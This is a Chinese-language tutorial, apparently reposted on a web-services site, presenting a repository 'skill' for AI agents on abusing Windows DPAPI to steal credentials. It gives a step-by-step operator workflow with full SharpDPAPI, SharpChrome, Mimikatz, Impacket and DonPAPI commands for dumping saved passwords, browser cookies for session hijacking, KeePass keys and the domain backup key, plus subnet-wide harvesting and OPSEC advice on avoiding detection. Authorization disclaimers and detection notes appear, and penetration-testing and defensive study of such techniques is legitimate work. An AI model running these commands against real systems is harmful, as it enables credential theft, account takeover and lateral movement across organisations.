Anthropic-Cybersecurity-Skills 实战指南:滥用 Windows DPAPI 实现凭据访问(T1555.004)完整操作手册
2026/9/10 16:23:28 网站建设 项目流程

Anthropic-Cybersecurity-Skills 实战指南:滥用 Windows DPAPI 实现凭据访问(T1555.004)完整操作手册

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

本文基于开源仓库 Anthropic-Cybersecurity-Skills 中的 abusing-dpapi-for-credential-access 技能文档 编写。该技能是 817 个结构化网络安全技能之一,面向 AI Agent 与安全从业者,提供从主机 Triage 到域级备份密钥解密的完整 DPAPI 凭据获取方法论。读完本文,你将掌握三条 DPAPI 解密路径(在线上下文解密、离线密码/NTLM 哈希解密、域备份密钥全域解密)、SharpDPAPI / SharpChrome / Mimikatz / Impacket 的完整命令用法,以及对应的 MITRE ATT&CK 映射与检测规避要点。

概述:DPAPI 为什么是红队凭据获取的核心目标

Windows 数据保护 API(Data Protection API,DPAPI)是操作系统内置的对称加密服务,应用程序用它保护磁盘上的秘密数据:保存的 RDP 和 Windows 凭据管理器(Credential Manager)凭据、Credential Vault 中的 Web 与 Wi-Fi 凭据、浏览器保存的登录信息与 Cookie(Chrome/Edge)、KeePass 主密钥、证书私钥,以及计划任务密码。

DPAPI 的密码学核心是两层密钥结构:系统从用户的密码(或机器账户密钥)派生出每个用户(或每台机器)独有的主密钥(Master Key),再由该主密钥加密一个个独立的 "DPAPI blob"。加密后的主密钥存放在固定的文件路径下:

密钥类型存放路径
用户主密钥%APPDATA%\Microsoft\Protect\<SID>\
机器主密钥%WINDIR%\System32\Microsoft\Protect\
凭据管理器 Blob%LOCALAPPDATA%\Microsoft\Credentials\
Credential Vault%APPDATA%\Microsoft\Vault\/%LOCALAPPDATA%\Microsoft\Vault\

红队获得立足点(foothold)后,滥用 DPAPI 即可恢复明文凭据,对应 MITRE ATT&CKT1555.004(从密码存储中获取凭据:Windows 凭据管理器)。攻击者有三条主要的解密路径:

  1. 在线 / 上下文解密——以目标用户身份运行时,DPAPI 的CryptUnprotectDataAPI 可直接透明解密该用户的 blob。SharpDPAPI 的/unprotect标志即走此路径。
  2. 离线 + 用户密码或 NTLM 哈希——用/password:/ntlm:先解密用户主密钥,再离线解密 blob。非常适合处理从主机拉取(triage)回来的文件。
  3. 域级备份密钥——域管理员可一次性提取域内 RSA DPAPI 备份密钥(.pvk),此后可在线或离线解密任意域用户的主密钥,使用/pvk:指定。

配套工具方面,Windows 平台的标准工具链是SharpDPAPI(GhostPack 出品,Mimikatz DPAPI 功能的 C# 移植)用于通用 Triage,SharpChrome专攻浏览器凭据,Mimikatzdpapi::*模块)是原始实现;Linux 侧则用 Impacket 的dpapi.pydonpapi做远程/离线 Triage。

何时使用本技能

  • 攻陷 Windows 主机后,目标用户保存了值得为横向移动收集的 RDP、浏览器或 Vault 凭据;
  • 你已持有某用户的密码或 NTLM 哈希,希望离线解密其 DPAPI 保护的秘密;
  • 你拥有域管理员权限,希望获取域 DPAPI 备份密钥,从而解密全企业范围内任意用户的受保护数据;
  • 需要对从磁盘镜像中提取的CredentialsVaultProtect目录进行 Triage;
  • 紫队演练中,验证对 DPAPI 主密钥访问、LSASS/Protect 目录读取的检测能力。

前置条件与工具准备

操作前必须满足:

  • 对目标 Windows 主机持有已授权的立足点(交互式会话、Beacon 或远程管理权限);
  • 掌握目标用户的 SID,以及以下任一条件:用户会话、明文密码、NTLM 哈希,或用于备份密钥的域管理员权限;
  • 准备相应工具。工具应编译自源码或使用官方发行版二进制(务必只从官方上游获取):
# SharpDPAPI / SharpChrome(GhostPack)— 用 Visual Studio / msbuild 构建 git clone https://github.com/GhostPack/SharpDPAPI.git # 打开 SharpDPAPI.sln 构建 Release,或命令行: msbuild SharpDPAPI.sln /p:Configuration=Release # Mimikatz(DPAPI 原始实现)— 使用官方 release # Linux 远程/离线 Triage(Impacket) pipx install impacket # 提供 dpapi.py / impacket-dpapi pipx install donpapi

本技能还附带一个可直接落地的 Python 编排脚本 scripts/agent.py,详见下文"配套脚本"一节。

MITRE ATT&CK 与框架映射

技能文档 SKILL.md 的 frontmatter 声明了mitre_attack: T1555.004nist_csf: DE.CM-01,完整的映射依据见 references/standards.md:

Technique ID名称战术相关性
T1555.004Credentials from Password Stores: Windows Credential ManagerCredential AccessDPAPI 保护凭据管理器/Vault 条目;解密主密钥和 blob 即可恢复存储的凭据
T1555.003Credentials from Password Stores: Credentials from Web BrowsersCredential AccessSharpChrome 解密 DPAPI 保护的 Chrome/Edge 登录信息、Cookie 与 state key
T1003OS Credential DumpingCredential Access提取主密钥/备份密钥属于凭据材料转储

NIST CSF 2.0 侧对应DE.CM-01(网络与网络服务被监控以发现潜在不利事件):DPAPI 滥用会产生可检测信号(发往 DC 的 MS-BKRP 备份密钥 RPC、Protect/Credentials 目录访问、LSASS 访问),监控必须能暴露这些信号。支撑规范还包括MS-BKRP(BackupKey Remote Protocol,用于获取域 DPAPI 备份密钥的 RPC 接口)、MS-DPSP/DPAPI(微软 DPAPI 规范),以及D3FEND中的 Credential Eviction / Password Rotation 作为 DPAPI 失陷后的缓解措施。

攻击工作流:七步从 Triage 到全域解密

1. 主机 Triage:枚举 DPAPI Blob

在目标用户上下文中运行 SharpDPAPI 的triage命令,自动枚举并(尽可能)解密凭据、Vault、RDG/RDP、证书:

# 当前用户上下文在线 Triage(使用 CryptUnprotectData) SharpDPAPI.exe triage /unprotect # 机器级 Triage(需要本地管理员 / SYSTEM),针对机器作用域 blob SharpDPAPI.exe machinetriage

提示:triage是自动串联credentialsvaultsrdgcertificates的一站式命令;机器作用域对应machinetriage(串联machinemasterkeysmachinecredentialsmachinevaults)。各命令与标志的完整速查见 references/api-reference.md。

2. 离线解密用户主密钥(密码或 NTLM 哈希)

若你持有用户密码或哈希,可先解密其主密钥,得到可复用的{GUID}:SHA1映射,再对单个 blob 使用:

# 用明文密码解密当前/指定用户的所有主密钥 SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple # 改用 NTLM 哈希而非密码 SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a # 输出为 GUID:SHA1 行 — 可喂给 credentials/vaults 等命令

masterkeys命令输出的GUID:SHA1映射是整个离线解密链路的关键中间产物,后续的credentialsvaults命令都把它当作输入。

3. 恢复凭据管理器与 Vault 秘密

用解密后的主密钥映射(或/pvk:)解密存储的凭据与 Vault 条目:

# 用 GUID:SHA1 映射解密凭据管理器 blob SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1 # 或指定目标 Credentials 文件夹,用域备份密钥解密 SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk # 解密 Credential Vault 条目 SharpDPAPI.exe vaults /pvk:backupkey.pvk

4. 解密 RDP、KeePass 与证书秘密

# 保存的 RDCMan.settings RDP 密码(当前用户上下文) SharpDPAPI.exe rdg /unprotect # KeePass DPAPI 保护的主密钥 SharpDPAPI.exe keepass /unprotect # 证书私钥(用 /showall 导出所有存储,输出可用 .pem) SharpDPAPI.exe certificates /unprotect /showall

5. 用 SharpChrome 提取浏览器凭据

SharpChrome 解密 Chrome/Edge 的登录信息与 Cookie。现代 Chromium 使用 App-Bound 的 "state key",SharpChrome 通过 DPAPI 解析它:

# 解密当前用户的保存登录信息 SharpChrome.exe logins /unprotect # 解密指定文件夹中的 Cookie(会话劫持场景非常有用) SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk # 显式解析 AES state key SharpChrome.exe statekeys /unprotect

6. 获取域 DPAPI 备份密钥(域管理员)

拥有域管理员权限后,一次性提取域的 RSA DPAPI 备份私钥。该密钥可以无限期解密每一个域用户的主密钥:

# 通过 MS-BKRP RPC 接口拉取并保存域备份密钥为 .pvk SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk

随后即可离线解密任意用户的主密钥:

SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\

从源码结构看(api-reference.md),backupkey还支持/rpc标志,通过 RPC 向 DC 请求主密钥解密,适用于不想在本机持有备份密钥材料的场景。

7. Linux 远程 / 离线 Triage(Impacket / DonPAPI)

从 Linux 操作机跨主机收割并解密 DPAPI 秘密:

# 用 Impacket + 域备份密钥解密单个主密钥文件 impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk # 用恢复出的主密钥解密凭据 blob impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey> # 用 DonPAPI 跨主机批量远程 DPAPI 收割 donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24

命令速查:参数与关键文件位置

技能文档附带的 api-reference.md 提供了可复制的参数速查表,整理如下。

SharpDPAPI 用户命令

命令用途示例
triage自动运行 credentials、vaults、rdg、certificatesSharpDPAPI.exe triage /unprotect
masterkeys解密用户主密钥(GUID:SHA1 输出)SharpDPAPI.exe masterkeys /password:Pass
credentials解密凭据管理器 blobSharpDPAPI.exe credentials /pvk:key.pvk
vaults解密 Credential Vault 条目SharpDPAPI.exe vaults /pvk:key.pvk
rdg解密 RDCMan.settings RDP 密码SharpDPAPI.exe rdg /unprotect
keepass解密 KeePass DPAPI 密钥SharpDPAPI.exe keepass /unprotect
certificates解密证书私钥SharpDPAPI.exe certificates /unprotect /showall

SharpDPAPI 机器命令(需管理员/SYSTEM)

命令用途
machinemasterkeys解密机器主密钥(使用 DPAPI_SYSTEM LSA 秘密)
machinecredentials解密机器凭据 blob
machinevaults解密机器 Vault 条目
machinetriage运行全部机器作用域 Triage 命令

SharpDPAPI 支撑命令

命令用途示例
backupkey通过 MS-BKRP 获取域 DPAPI 备份密钥(.pvk)SharpDPAPI.exe backupkey /server:dc01 /file:key.pvk

常用标志

标志含义
/unprotect在当前用户上下文使用实时CryptUnprotectData(在线)
/password:<pw>用用户明文密码解密主密钥
/ntlm:<hash>用用户 NTLM 哈希解密主密钥
/pvk:<file>用域备份私钥解密
/mkfile:<file>指定具体主密钥文件
/server:<dc>指定 backupkey 检索的目标 DC
/target:<path>指定要解密的文件/文件夹
/rpc用 RPC 向 DC 请求主密钥解密
/showall显示所有证书存储 / 详细输出

SharpChrome 命令

命令用途示例
logins解密浏览器保存的登录信息SharpChrome.exe logins /unprotect
cookies解密浏览器 CookieSharpChrome.exe cookies /pvk:key.pvk
statekeys解密 AES App-Bound state keySharpChrome.exe statekeys /unprotect

Impacket dpapi.py(Linux)

子命令用途示例
masterkey解密主密钥文件impacket-dpapi masterkey -file MK -pvk key.pvk
credential解密凭据 blobimpacket-dpapi credential -file CRED -key 0x<mk>
vault解密 Vault policy/credsimpacket-dpapi vault -vpol VPOL -vcrd VCRD -key 0x<mk>
backupkeys获取域备份密钥impacket-dpapi backupkeys -t corp.local/admin@dc -pvk out.pvk

仓库配套脚本:自动化 DPAPI Triage 编排器

技能目录下的 scripts/agent.py 是一个面向操作员的 Python 辅助脚本,它负责构建并运行真实工具命令、解析输出,而不重新实现 DPAPI 密码学(脚本 docstring 中明确声明了这一点)。从源码结构可以看清整个 Triage 自动化的设计:

  • enumerate_artifacts(profile)(agent.py):按AppData\Roaming\Microsoft\Protect(主密钥)、AppData\Local\Microsoft\Credentials(凭据 blob)、AppData\Local\Microsoft\VaultAppData\Roaming\Microsoft\Vault(Vault)四个相对路径递归枚举全部 DPAPI 工件文件,返回masterkeyscredentialsvaults三类清单。这些常量与 api-reference.md 中的关键文件位置表完全一致,印证了文档对磁盘布局的描述。
  • sharpdpapi_triage(tool, ...)(agent.py):按优先级自动组装 SharpDPAPItriage命令——有/pvk:优先用域备份密钥,否则/password:,否则/ntlm:,兜底/unprotect。这直接复刻了 SKILL.md 中三条解密路径的取舍逻辑。
  • decrypt_masterkey_impacket(tool, ...)(agent.py):对每个主密钥文件调用impacket-dpapi masterkey -file <mk> -pvk <pvk>,实现 Linux 侧批量离线解密。
  • main()(agent.py):提供--mode enumerate|impacket|sharpdpapi三种模式,配合--profile(已挂载/提取的 Windows 用户配置目录)、--pvk--password--ntlm--timeout(默认 120 秒/命令)参数。脚本同时内置了授权提醒输出与 ROE(Rules of Engagement)确认提示,并会检测工具是否存在于 PATH 中。

这意味着在 Triage 场景中,你既可以直接手敲 SharpDPAPI 命令,也可以让该脚本代为枚举工件并驱动解密工具,适合在提取(exfiltrated)的用户配置目录上做离线批量处理。

检测与 OPSEC 注意事项

技能文档 SKILL.md 对攻防双方都给出了明确提示:

  • 主密钥访问、对\Microsoft\Protect\\Microsoft\Credentials\的读取都是可检测的;backupkey操作会向 DC 触发一次 MS-BKRP RPC 调用,这是域级活动的高置信信号;
  • /unprotect(在线)路径是单主机场景下最隐蔽的选项,但仅能在存活用户上下文中工作;
  • 防御方应监控 Sysmon 对 LSASS 的进程访问,以及对 Protect/Credentials 文件夹的异常访问(对应 NIST CSF DE.CM-01)。

从 OPSEC 角度,攻方应权衡三条路径的暴露面:在线路径不留文件但依赖会话;离线路径需要先取得主密钥材料(复制Protect目录本身即是取证痕迹);域备份密钥路径威力最大但 MS-BKRP RPC 极易被 DC 侧审计捕获。

验证清单

完成一次完整的 DPAPI 凭据访问演练后,应逐项确认(来自 SKILL.md 的 Validation Criteria):

  • SharpDPAPI triage/machinetriage完成主机 Triage;
  • 通过/unprotect/password:/ntlm:/pvk:解密用户主密钥;
  • 恢复凭据管理器与 Vault 秘密;
  • 提取 RDP / KeePass / 证书秘密(如存在);
  • 用 SharpChrome 解密浏览器登录信息/Cookie;
  • 用域管理员权限获取域 DPAPI 备份密钥(如范围内)并离线复用;
  • 所有恢复的秘密均记录来源主机/用户,并确认符合 ROE 约束。

合规声明

本技能仅限在已授权的渗透测试、红队演练与教育环境中使用。从你未拥有、或缺乏明确书面授权测试的系统中提取凭据是违法行为,可能触犯计算机欺诈与滥用相关法律。所有操作必须置于签署的规则(rules-of-engagement)之内,并记录每一步操作。

【免费下载链接】Anthropic-Cybersecurity-Skills817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io standard · Works with Claude Code, GitHub Copilot, Codex CLI, Cursor, Gemini CLI & 20+ platforms · 29 security domains · Apache 2.0项目地址: https://gitcode.com/GitHub_Trending/an/Anthropic-Cybersecurity-Skills

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询